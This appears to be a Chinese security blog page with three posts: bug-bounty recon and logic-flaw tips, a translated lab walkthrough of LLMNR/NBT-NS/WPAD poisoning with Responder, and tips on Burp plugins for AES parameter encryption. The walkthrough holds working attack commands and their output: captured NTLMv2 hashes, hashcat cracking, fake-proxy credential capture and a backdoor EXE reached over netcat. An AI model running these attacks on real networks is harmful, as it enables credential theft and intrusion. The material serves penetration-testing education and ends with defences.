2017年1月

SRC漏洞挖掘小见解

0x01 本文由来

前段时间一直忙着工作也没有好好的总结一下,今天趁着周末来总结一下前段时间关于漏洞挖掘的一些心得。

0x02 说在前面的话(扯淡)

漏洞挖掘我并不是什么大牛,还只是一个在慢慢摸索前行的学习者,也欢迎大家一起来交流漏洞挖掘技术。我的qq:2776369267。

其次本文针对的人群并不是大牛,所以也请不要喷,如果你觉得我写的不好,可以加我指导一下我,大家一起碰撞一下思路。

最后本文可能基本都是文字看起来是比较疲倦的,希望大家见谅,因为我不可能把挖的漏洞截图给大家,这个希望大家理解一下,但是来讨论没问题的。

0x03 漏洞挖掘的前期--信息收集

虽然是前期,但是却是我认为最重要的一部分;

很多人挖洞的时候说不知道如何入手,其实挖洞就是信息收集+常规owasp top 10+逻辑漏洞(重要的可能就是思路猥琐一点),这些漏洞的测试方法本身不是特别复杂,一般混迹在安全圈子的人都能复现漏洞。接下来我就着重说一下我在信息收集方面的心得。

1、域名信息收集

src一般都只收对应的漏洞,很多src的公告里面就会明确范围;然后我们就需要根据这些范围来确定域名。

如果src上面没有给出范围,那么需要我们去搜集,你需要知道哪些domain是该公司的,主要通过手工来查看:如:

  • 网站的关于页面/网站地图
  • whois反查
  • 一些网站里面的跳转请求(也可以关注一下app)
  • 还有就是百度,有些会在title 和 copyright信息里面出现该公司的信息
  • 网站html源码:主要就是一些图片、js、css等,也会出现一些域名
  • apk反编译源码里面
  • …………还需要你们来补充

2、子域名信息收集

工具:

  • subdomain lijiejie的子域名收集工具(个人觉得挺好用的);
  • layer:这个工具也不错;

其他的还有很多,比如kali下的等等,不写那么多免得看着蛋疼;

但是只要是工具就会有误报,建议大家对获取的子域名写个脚本处理一下;判断哪些是可以访问的,哪些是不可以访问的,哪些访问是测试页面的。可以节约不少时间。

手工:其实也是可以工具化(爬虫思维,不过爬虫不是很准确)

利用google hacking 搜索,大家一定不要只用google 搜索,这样是不全面的,还有 bing(不用翻墙)、百度、360等等,因为很多国内的网站利用google去搜索是搜不到的。这里就不说语法了,贴几条常用的就行了。

搜集域名和mail地址:
搜集敏感文件:site:xxx.com filetype:doc
搜集管理后台:site:xxx.com 管理/site:xxx.com admin/site:xxx.com login
搜集mail:site:xxx.com intext:@xxx.com/intext:@xxx.com
搜集敏感web路径:site:xxx.com intitle:登录/site:xxx.com inurl:sql.php

3、敏感信息收集

这一块是比较大的一块,我这里举一些:

  • github源代码:网上有工具(https://github.com/repoog/GitPrey
  • svn信息泄漏:这个只能用扫描器了
  • 敏感文件:比如数据库配置文件啦(有案例的)、网站源码啊、数据库备份文件等等
  • 敏感目录:网站后台目录/一些登录地址/一些接口目录
  • email:邮箱命名规则、公司是否具有邮箱默认密码(这个可以采取社工,毕竟我司默认密码就很弱鸡)。
  • 员工号:很多oa、um、sso系统都是采用员工号登录的,所以知道员工号的规则很多时候能帮助我们进行撞库。
  • 商家信息:如果是一些具有商家系统的,能收集到一些商家账户(自己搞去,可以注册,注册资料请百度)就可以进入很多系统来测试了。

4、小结一下

其实很多时候,我们通过信息收集能得到不少的漏洞了,我这里举几个简单的案例:

  • 通过搜索引擎获取系统管理页面,直接越权访问;(说好的没有详细)
  • 通过github直接找到管理后台账号密码;
  • 通过目录/文件扫描直接得到系统信息(ip、管理员账号密码)连入服务器;

当然也有很多通过信息收集得到一些东西结合其他手段;

0x04 漏洞挖掘的中期--信息处理

1、信息整理

对于第三节提到的那些信息收集技术,我们不难收集完了就完了,一定好好整理,会对后期渗透有很大的帮助。这里说一下具体怎么整理。

  • 利用word或excel或txt 都行,我建议word 和excel 因为txt毕竟太简单了。

分类:

  • 哪些网站功能类似;
  • 哪些网站可能使用的同一模版;
  • 哪些网站有waf(这个一般在url中标明就好);
  • 哪些网站能登录(注册的账号也一定要记住,最好可以准备两个手机号,两个邮箱方便注册);
  • 哪些网站暴露过哪些类型的漏洞(这个只能去乌云上面找);
  • 网站目前有哪些功能(这个稍微关注一下网站公告,看最近是否会有业务更迭);

2、漏洞整理

我们幸苦的挖洞一定要对我们挖掘出来对漏洞有一个记录,记录的可以稍微详细一些,一是可以方便自己以后回顾,还有就是以后说不定有些地方出现了跟以前一样的功能,这样就方便我们更快的找到漏洞。这里建议doc文档,图片可以贴的详细一些。

第二个就是通过漏洞得到的一些数据:

  • 订单信息;遍历、注入
  • 用户信息:这个可以通过撞库获取、任意密码重置获取、注入
  • 数据库用户名密码:注入、配置泄漏

为什么我们要整理这些数据,因为我们要根据这些数据来设计我们的字典。爆破完好了,一样的6。

0x05 漏洞挖掘的后期--漏洞挖掘

有了前两步,这里我会写的少一点,毕竟漏洞的类型就那么些,像前文说过就是owasp top 10、逻辑,对于挖掘这些漏洞,我觉得没什么特别好的办法,就是抓包分析逻辑(这里说的不包括对软件客户端的挖掘、app的挖掘);

首先我们需要对一个网站/app有一个了解要知道它的功能点有哪些(后期我会更新一个checklist介绍一下哪些功能会对应什么样的漏洞)。

其次我们要分析这个网站/app里面的请求哪些是我们可以控制的参数,这些地方就是漏洞经常出没的点。

最后就是分析逻辑,这一类别的漏洞主要还是涉及一套流程,这里举个例子:

例:”我们买东西”

首先我们要选择:筛选涉及查询(是否可以SQL注入)

加入购物车:商品数量是否可以为负

询问商家:

  • 跳转客服系统,跳转url中是否含有用户参数
  • xss打客服cookie
  • 钓鱼+社工

    下单:

  • 填地址,涉及插入(注入)、xss
  • 修改单价
  • 修改总额(这里说明一下修改总额:情况1,就是我们可能会遇到可以使用优惠卷的情况,比如我们买了100的东西只能使用5块的优惠价,但是我有一张50的优惠卷是否可以使用;情况2,打折我们是否可以修改打折的折扣;情况3,我们是否可以修改运费,将运费改为负数;情况n)

备注:

  • xss,sql注入

电子票据:

  • 会写抬头

支付:

  • 传输过程中是否可以修改,如果是扫描二维码支付,我们可以分析一下二维码中的请求url看是否可以修改以后重新生成二维码(这里不讨论后面具体了支付了,因为微信和支付宝)

    订单完成:

  • 是否可以遍历订单
  • 评价:注入、上传图片、xss

退货

…………

大家可以无限延伸,这里只是抛砖引玉。

0x06 说在最后的几句话

其实这方面的文章很少,几个原因:

  • 大家会觉得就是经验,玩多了就自然会了,教不了什么;
  • 这种分享经验特别不好写,现在也不知道我写了什么,其实都是一个思路点;
  • 懒,不愿意……肯定都有一定的原因;

最后就是一点建议了:

src慢慢的挖多了系统更新不快,业务不多自然就很难挖了,所以一定要有坚持精神,深入挖掘意识,因为挖洞没有想象中的那么简单;不要想一步登天,多去看看乌云的案例分析一下别人的挖掘思路,然后跟着学。

最后谢谢大家看了这么多废话!

LLMNR&WPAD介绍以及渗透测试中的利用

原文:https://pentest.blog/what-is-llmnr-wpad-and-how-to-abuse-them-during-pentest/

在内网渗透测试中,我们可以针对错误配置的网络服务和协议进行攻击,比如地址解析协议(ARP),动态主机配置协议(DHCP)和域名系统(DNS)等的错误配置。其中可以遇到的一个最重要的无疑是中间人攻击,它可以通过监听网络流量或操纵要访问的目标来访问敏感信息。虽然可以对诸如路由器和交换机的网络设备采取针对这种攻击的安全措施,但是由于一些协议的本身弱点,我们可以用不同的方法进行类似的中间人攻击。因此,本文的主题将是针对LLMNR,NetBIOS和WPAD机制的中间人攻击。在开始之前,本文将解释一下使用windows系统的计算机如何在同一个网络中进行通信,并执行名称解析。

该过程有如下步骤:

1.检查文件系统中的主机文件

在其配置文件中,查询其想要访问的系统信息。同时,它检查要访问的设备是否是自身。
配置文件位于C:WindowsSystem32driversetc

2.检查本地DNS缓存

首先检查缓存。如果要访问的设备的信息存在于高速缓存中,则使用该信息。
可以使用ipconfig / displaydns命令学习DNS缓存。

3.向DNS发送查询

如果计算机未从配置文件中找到任何其想要访问的设备的信息,它会向本地网络上的DNS服务器发送查询。

4.发送LLMNR查询

LLMNR是DNS服务器名称解析失败时处理的协议。

5.发送NetBIOS-NS查询

它在OSI模型的“会话”层中工作。 NetBIOS是一种API,不是协议,用于在Windows操作系统之间进行通信。
计算机的NetBIOS名称与计算机名称相同。

什么是LLMNR&WPAD

LLMNR(链路本地多播名称解析)和NetBIOS-NS(名称服务)是Windows操作系统用于名称解析和通信的两个组件。 LLMNR第一次被用于Windows Vista操作系统,被视为NetBIOS-NS服务的延续。

在DNS服务器名称解析查询失败的情况下,这两个服务继续名称解析。 LLMNR和NetBIOS-NS服务尝试解析DNS服务器无法应答的查询。 实际上,这是Windows操作系统计算机之间的合作形式。

LLMNR协议由IPv4的链路范围组播IP地址224.0.0.252和IPv6的FF02:0:0:0:0:0:1:3服务。 它通过5355的TCP/UDP端口执行自己的操作。

例如,当尝试ping到不在网络上的test.local时,第一个查询转到DNS服务器。 如果DNS服务器无法解析此域名,则查询将重定向到LLMNR协议。 LLMNR不是DNS协议的替代,它是DNS查询失败的情况下改进的解决方案。 它受Windows Vista之后推出的所有操作系统的支持。

llmnr_wireshark.png

NetBIOS是本地网络中的系统用于相互通信的API。 有三种不同的NetBIOS服务。

  • 名称服务,它使用UDP 137端口用于名称注册和名称解析。
  • 数据报分发服务,它使用UDP 138端口进行无连接通信。
  • 会话服务,它在TCP 139端口上执行面向连接通信的操作。

LLMNR协议在未成功的DNS查询之后使用,然后,作为广播查询的NetBIOS-NS分组被包括在流量中。

netbios_wireshark.png

理论上,这些看似无害和功能的系统没有保护在本地网络上的中间人攻击。 攻击者可以成功攻击获得敏感数据,如用户名和密码哈希。

通过操作流量捕获NTLMv2散列

主要情况如下图所示:

llmnr.png

1.受害者将尝试连接到文件共享系统,名为filesrvr,他键入不正确。

2.我们之前提到的步骤执行的名称解析将首先在受害者的计算机上进行查询。

3.在步骤2中,由于DNS服务器没有相应的记录,系统的名称作为LLMNR发送,NetBIOS-NS查询。

4.攻击者侦听网络流量,捕获名称解析查询。 我们告诉受害者,我们是受害者寻找的filsrvr。

攻击者将侦听广播并响应所有LLMNR和NetBIOS-NS查询。 以这种方式,可以操纵假会话并获得用户名和密码哈希。

有不同的工具来进行这个攻击。

  • Responder由SpiderLabs开发。 (本文将使用此工具)
  • llmnr_response(Metasploit框架中的一个模块)
  • MiTMf

我们通过指定网络端口号来开始监听网络流量。

root@kali:~# responder -i 10.7.7.31
NBT Name Service/LLMNR Responder 2.0.
Please send bugs/comments to: lgaffie@trustwave.com
To kill this script hit CRTL-C
[+]NBT-NS, LLMNR & MDNS responder started
[+]Loading Responder.conf File..
Global Parameters set:
Responder is bound to this interface: ALL
Challenge set: 1122334455667788
WPAD Proxy Server: False
WPAD script loaded: function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
HTTP Server: ON
HTTPS Server: ON
SMB Server: ON
SMB LM support: False
Kerberos Server: ON
SQL Server: ON
FTP Server: ON
IMAP Server: ON
POP3 Server: ON
SMTP Server: ON
DNS Server: ON
LDAP Server: ON
FingerPrint hosts: False
Serving Executable via HTTP&WPAD: OFF
Always Serving a Specific File via HTTP&WPAD: OFF

受害者尝试连接filesrvr共享

flsrvr.png

我们获得了SMB-NTLMv2散列!

LLMNR poisoned answer sent to this IP: 10.7.7.30. The requested name was : filesrvr.
[+]SMB-NTLMv2 hash captured from : 10.7.7.30
[+]SMB complete hash is : Administrator::PENTESTLAB:1122334455667788:E360938548A17BF8E36239E2A3CC8FFC:0101000000000000EE36B4EE7358D201E09A8038DE69150F0000000002000A0073006D006200310032000100140053004500520056004500520032003000300038000400160073006D006200310032002E006C006F00630061006C0003002C0053004500520056004500520032003000300038002E0073006D006200310032002E006C006F00630061006C000500160073006D006200310032002E006C006F00630061006C00080030003000000000000000000000000030000056A8A45AB1D3338B0049B358B877AEEEE1AA43715BA0639FB20A86281C8FE2B40A0010000000000000000000000000000000000009001A0063006900660073002F00660069006C00650073007200760072000000000000000000
NBT-NS Answer sent to: 10.7.7.30. The requested name was : TOWER

NTLMv2哈希不能直接用于攻击,因此,我们需要执行密码破解攻击,以从捕获的哈希中获取纯文本密码。 有几个工具可以用于散列破解:John the Ripper,Hashcat,Cain&Abel,Hydra等。我们将使用hashcat破解我们从Responder中获得的NTLMv2哈希。

Responder工具将检测到的哈希值保留在/usr/share/responder目录下。

root@kali:/usr/share/responder# ls *30*
SMB-NTLMv2-Client-10.7.7.30.txt

我们获得的NTLMv2哈希如下:

root@kali:/usr/share/responder# cat SMB-NTLMv2-Client-10.7.7.30.txt 
Administrator::PENTESTLAB:1122334455667788:E360938548A17BF8E36239E2A3CC8FFC:0101000000000000EE36B4EE7358D201E09A8038DE69150F0000000002000A0073006D006200310032000100140053004500520056004500520032003000300038000400160073006D006200310032002E006C006F00630061006C0003002C0053004500520056004500520032003000300038002E0073006D006200310032002E006C006F00630061006C000500160073006D006200310032002E006C006F00630061006C00080030003000000000000000000000000030000056A8A45AB1D3338B0049B358B877AEEEE1AA43715BA0639FB20A86281C8FE2B40A0010000000000000000000000000000000000009001A0063006900660073002F00660069006C00650073007200760072000000000000000000

Hashcat是一个开源的密码破解工具,并且它有GPU支持。 它可以使用-m参数检测哈希模式,使用字典启动强力攻击。

root@kali:/usr/share/responder# hashcat -m 5600 SMB-NTLMv2-Client-10.7.7.30.txt ~/dic.txt 
Initializing hashcat v2.00 with 4 threads and 32mb segment-size...
Added hashes from file SMB-NTLMv2-Client-10.7.7.30.txt: 1 (1 salts)
Activating quick-digest mode for single-hash with salt
[s]tatus [p]ause [r]esume [b]ypass [q]uit => 
Input.Mode: Dict (/root/dic.txt)
Index.....: 1/5 (segment), 3625424 (words), 33550339 (bytes)
Recovered.: 0/1 hashes, 0/1 salts
Speed/sec.: 6.46M plains, 6.46M words
Progress..: 3625424/3625424 (100.00%)
Running...: --:--:--:--
Estimated.: --:--:--:--
--- snippet ---
ADMINISTRATOR::PENTESTLAB:1122334455667788:e360938548a17bf8e36239e2a3cc8ffc:0101000000000000ee36b4ee7358d201e09a8038de69150f0000000002000a0073006d006200310032000100140053004500520056004500520032003000300038000400160073006d006200310032002e006c006f00630061006c0003002c0053004500520056004500520032003000300038002e0073006d006200310032002e006c006f00630061006c000500160073006d006200310032002e006c006f00630061006c00080030003000000000000000000000000030000056a8a45ab1d3338b0049b358b877aeeee1aa43715ba0639fb20a86281c8fe2b40a0010000000000000000000000000000000000009001a0063006900660073002f00660069006c00650073007200760072000000000000000000:Abcde12345.
 
All hashes have been recovered
Input.Mode: Dict (/root/dic.txt)
Index.....: 5/5 (segment), 552915 (words), 5720161 (bytes)
Recovered.: 1/1 hashes, 1/1 salts
Speed/sec.: - plains, 1.60M words
Progress..: 552916/552915 (100.00%)
Running...: 00:00:00:01
Estimated.: > 10 Years
Started: Sat Dec 17 23:59:22 2016
Stopped: Sat Dec 17 23:59:25 2016
root@kali:/usr/share/responder#

我们得到的密码是Abcde12345。

什么是WPAD?

公司允许员工通过代理服务器访问互联网以提高效率,确保安全性并跟踪流量。连接到公司网络的用户需要知道特定URL的代理服务器,而无需进行配置。 Web代理自动发现协议(WPAD)是客户端使用DHCP和DNS发现方法来定位配置文件的URL的方法。 一旦配置文件的检测和下载完成,就可以通过执行它来确定指定URL的代理。

WPAD怎么工作?

客户端希望访问wpad.dat配置文件以进行代理配置。 它搜索本地网络上名为“wpad”的计算机以查找此文件。 然后执行以下步骤:

1.如果配置了DHCP服务器,则客户端从DHCP服务器检索wpad.dat文件(如果成功,则执行步骤4)

2.将wpad.corpdomain.com查询发送到DNS服务器以查找正在分发Wpad配置的设备。 (如果成功,则采取步骤4)

3.发送WPMN的LLMNR查询(如果成功,请转到步骤4,否则代理不能使用)

4.下载wpad.dat并使用

根据上述顺序,可以对第一步进行DHCP投毒攻击。 DNS投毒攻击自然可以执行第二步,但正如我在本文开头所指出的,配置的网络设备可以防止这些攻击。 当通过LLMNR进行查询时,该请求将通过广播去到网络中的每个客户端。 在这一点上,攻击者将他的wpad.dat文件发送到客户端,就像wpad服务器。

重要的是WPAD协议是在Windows操作系统中内置的。 此配置可以在Internet Explorer浏览器的LAN设置部分中看到。

wpad.png

通过此配置,Internet Explorer在整个网络上进行WPAD名称解析查询。

利用WPAD

Responder是MiTM攻击的一个很好的实用工具。 Responder创建一个假WPAD服务器,并响应客户端的WPAD名称解析。 然后客户端请求这个假WPAD服务器的wpad.dat文件。 Responder创建一个身份验证屏幕,并要求客户输入他们在域中使用的用户名和密码。 自然地,员工写入在域名中使用的用户名和密码。 最后,我们可以看到他们的用户名和密码。

使用Responder工具真的很简单。

root@kali:~# git clone https://github.com/SpiderLabs/Responder.git
Cloning into 'Responder'...
remote: Counting objects: 886, done.
remote: Total 886 (delta 0), reused 0 (delta 0), pack-reused 886
Receiving objects: 100% (886/886), 543.75 KiB | 255.00 KiB/s, done.
Resolving deltas: 100% (577/577), done.
Checking connectivity... done.

我设置了以下系统来模拟这种攻击。

wpad_topo-1.png

现在,我们创建了假的HTTP服务并等待明文密码。

root@kali:~/Responder# python Responder.py -I eth0 -wFb
---
snippet
---
[+] Poisoning Options:
 Analyze Mode [OFF]
 Force WPAD auth [ON]
 Force Basic Auth [ON]
 Force LM downgrade [OFF]
 Fingerprint hosts [OFF]
[+] Generic Options:
 Responder NIC [eth0]
 Responder IP [10.7.7.31]
 Challenge set [1122334455667788]
[+] Listening for events...

wpad_attack.png

明文密码如下:

root@kali:~/Responder# python Responder.py -I eth0 -wFb
---
snippet
---
[+] Listening for events...
[*] [NBT-NS] Poisoned answer sent to 10.7.7.30 for name GOOGLE.COM (service: Workstation/Redirector)
[*] [NBT-NS] Poisoned answer sent to 10.7.7.30 for name WWW.GOOGLE.COM (service: Workstation/Redirector)
[HTTP] Basic Client : 10.7.7.30
[HTTP] Basic Username : PENTESTLAB\roland
[HTTP] Basic Password : secr3tPassw0rd123!
[*] [LLMNR] Poisoned answer sent to 10.7.7.30 for name respproxysrv
[SMB] NTLMv2-SSP Client : 10.7.7.30
[SMB] NTLMv2-SSP Username : PENTESTLAB\Administrator
[SMB] NTLMv2-SSP Hash : Administrator::PENTESTLAB:1122334455667788:8EBDB974DF3D5F4FB0CA15F1C5068856:01010000000000007894C6BE2C54D201FCEDFDB71BB6F1F20000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D004200310032000800300030000000000000000000000000300000B39077D5C9B729062C03BB45B88B0D9EC2672C57115A1FE3E06F77BD79551D8F0A001000000000000000000000000000000000000900220063006900660073002F007200650073007000700072006F00780079007300720076000000000000000000
[SMB] Requested Share : \\RESPPROXYSRV\IPC$
[*] [LLMNR] Poisoned answer sent to 10.7.7.30 for name respproxysrv
[*] Skipping previously captured hash for PENTESTLAB\Administrator
[SMB] Requested Share : \\RESPPROXYSRV\PICTURES
[*] [LLMNR] Poisoned answer sent to 10.7.7.30 for name respproxysrv
[*] Skipping previously captured hash for PENTESTLAB\Administrator
[SMB] Requested Share : \\RESPPROXYSRV\PICTURES
[*] [LLMNR] Poisoned answer sent to 10.7.7.30 for name respproxysrv
[*] Skipping previously captured hash for PENTESTLAB\Administrator
[SMB] Requested Share : \\RESPPROXYSRV\PICTURES
[*] Skipping previously captured hash for PENTESTLAB\roland

Responder的后门

Responder不仅可以针对WPAD服务的MiTM攻击。 它也可以强制受害者到一个假网页下载恶意文件。 社会工程可以用来真实地准备用于这次攻击的网页,响应者本身也有一个假的重定向页面。 我们所需要做的就是对responder.conf文件进行一些修改。 我们将“Serve-HTML”和“Serve-EXE”参数设置为“On”。

[HTTP Server]
; Set to On to always serve the custom EXE
Serve-Always = On
; Set to On to replace any requested .exe with the custom EXE
Serve-Exe = On 
; Set to On to serve the custom HTML if the URL does not contain .exe
; Set to Off to inject the 'HTMLToInject' in web pages instead
Serve-Html = On

我们再次运行Responder。

root@kali:~/Responder# python Responder.py -I eth0 -i 10.7.7.31 -r On -w On

现在,当受害者尝试使用互联网只会看到以下页面。 如果受害者点击代理客户端连接,下载CMD Shell,我们就可以使用netcat连接到受害者的140端口。

root@kali:~/Responder# nc 10.7.7.30 140 -vv
10.7.7.30: inverse host lookup failed: Host name lookup failure
(UNKNOWN) [10.7.7.30] 140 (?) open
        | 
        | 
        | 
    /\  |  /\  
    //\. .//\ 
    //\ . //\ 
    /  ( )/  \ 
Welcome To Spider Shell!
ipconfig
Microsoft Windows [Version 6.1.7601]
(c) 2009 Microsoft Corporation. All Rights reserved.
C:\Users\Roland\Desktop>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Ethernet:
   Connection-spesific DNS Suffix   . : PENTESTLAB.local
   IPv4 Address . . . . . . . . . . . : 10.7.7.30
   Subnet Mask . . . . . . . . . . .  : 255.255.255.0
   Default Gateway . . . . . . . . .  : 10.7.7.1

针对WPAD的防御

  • 使用指向公司代理服务器的“WPAD”创建DNS条目, 所以攻击者将无法操纵流量。
  • 在所有具有组策略的Internet Explorer上禁用“自动检测代理设置”。

参考

BurpSuite插件开发Tips:请求响应参数的AES加解密

缘由

自己使用burp进行测试的过程中遇到好些接口是有sign的,如果修改了请求参数都需要重新计算sign值,所以有用python实现过一个简单的插件,来自动计算sign值,以达到和普通接口测试一样方便的效果。

后来,好基友在做一个APP的测试的时候,发现有类似的问题,接口的所有参数都有使用AES加密,返回也是一样。他通过逆向获得了加密的算法,我们就通过如下的插件实现了自动加解密的过程。在整个过程中有一点点收获,现分享出来。

具体bug请移步:Zealer_android客户端安全检测(从脱壳到burp自动加解密插件案例/SQL注入/逻辑漏洞/附AES加解密脚本POC)

代码

闲话少说,上代码,BurpExtender主类代码如下,进行了较为详细的注释。AES算法类的参考链接:

code:

收获和建议

1.尽量使用java、避免python

我平常python用得比较多的,之前也用python写过几个简单插件。但是在开发burp插件的时候,发现还是Java更合适。上面的这个插件,最初就是用py实现的,但是,当这个py文件调了python的其他类,如下图。通过Jython去解析执行,遇到pyd文件就无法进行下去了,因为pyd是C写的,Jython是无法使用C写的模块的。burp本事是Java写的,使用Java去开发插件兼容性最高,会少很多莫名其妙的错误。

14658104734594.png

下面这个链接对此有详细说明:

14658105549687.png

2.适当代码分离、方便测试

我会分别将插件的代码和AES算法的代码分别写在两个不同文件中。这样可以单独调试算法的代码,也可以让插件代码更简洁不易出错。因为插件的代码每修改一次都需要重新在burp中加载才可以看到效果,不像一般的程序在IDE中就可以调试,所以个人认为这样比较好。

14658107055030.png

3.向优秀插件学习

插件代码的结构基本是固定的。比如,如果想要写一个对http请求和响应进行操作的插件,那么基本上如图的这段代码是可以直接copy使用的,下图标红的几个方法就都是必须的。我想我们大多数时候都是在对http的包进行处理。有了大的框架之后,再进行修改相对会容易很多。所以,如果你想写一个什么样的插件,你完全可以去找一个类似的插件,看他的代码,copy他的代码,改他的代码(比如我的,呵呵)。

14658110843982.png

你要问怎么样查看已有插件的代码?怎样查API文档?

首先安装一个已有插件。

14658112007656.png

找到burp所在路径下的bapps目录,里面就是你安装了的插件。

14658112112250.png

14658112207654.png

拖到JD-Gui中就可以看代码了,这种一般是不会做混淆的,至少我还没发现~。Py的就更不用说了,直接文件右键打打开。

14658112315306.png

4.查找并阅读官方API

关于API文档,我是通过溯源的方法,对于0基础的读者比较实用。比如我的目的是加密各个参数,那么首先要获取请求中的参数。我先去API库中搜索关键词parameter,可以找到多个相关方法,通过对比,我确定List<IParameter> getParameters();是我需要的。找到这个方法后,查看它的参数、返回值类型、所属的类这三个关键因素。它属于IRequestInfo类,只有IRequestInfo类型的对象才可以调用它,那么,有哪些方法会返回这个类型的对象呢?再去找那些方法可以返回这个类型的方法。依次类推,可以知道需要使用哪些方法,哪些类,就能梳理清除大致的思路了。

14658115701726.png

5.插件代码的套路

14658110843982.png

1.public class BurpExtender implements IBurpExtender, IHttpListener

tl.png

2.public class BurpExtender implements IBurpExtender, IHttpListener

tl2.png

3.http请求的常规处理逻辑

processHttpMessage 中需要做的事

  • Burp中最初拿到的东西就是 IHttpRequestResponse messageInfo
  • 把它变成我们认识的数据包格式:

    analyzeRequest = helpers.analyzeRequest(messageInfo);

burptips3.png

burptips4.png

获取各种需要处理的对象:参数、header、body,对象不同,方法有所差别

tl5.png

修改各对象并更新到最终的数据包

6.图形界面怎么搞

1.安装windowbuilder插件

教程:

http://jingyan.baidu.com/article/4d58d54113bfdd9dd5e9c045.html

exe.png

通过拖拽来实现图形解密的设计

exe1.png

exe2.png

为按钮添加点击事件

2.BurpExtender类中增加 Itab IContextMenuFactory

exe3.png

exe4.png

  • 这两个类接口也有他们必须实现的方法,否则看不到图形界面 String getTabCaption(); Component
  • getUiComponent(); –之前踩过的大坑
  • IContextMenuFactory —-对应的是那个“send to”功能

7.关于调试和移植

不能在IDE中直接调试,只能导出jar包,通过burp调用才能看到效果。 ———–所以编写过程尽量多使用输出排查错误。

图形界面的编写可以在IDE中调试完成后再移植到burp中,但是移植到burp需要修改一些地方。

exe5.png

项目主页

BurpSuite插件分享:图形化重算sign和参数加解密插件(更新2.2版本)

参考文档汇总

向先行者致敬,让我们少走弯路。

Java篇:

Python篇: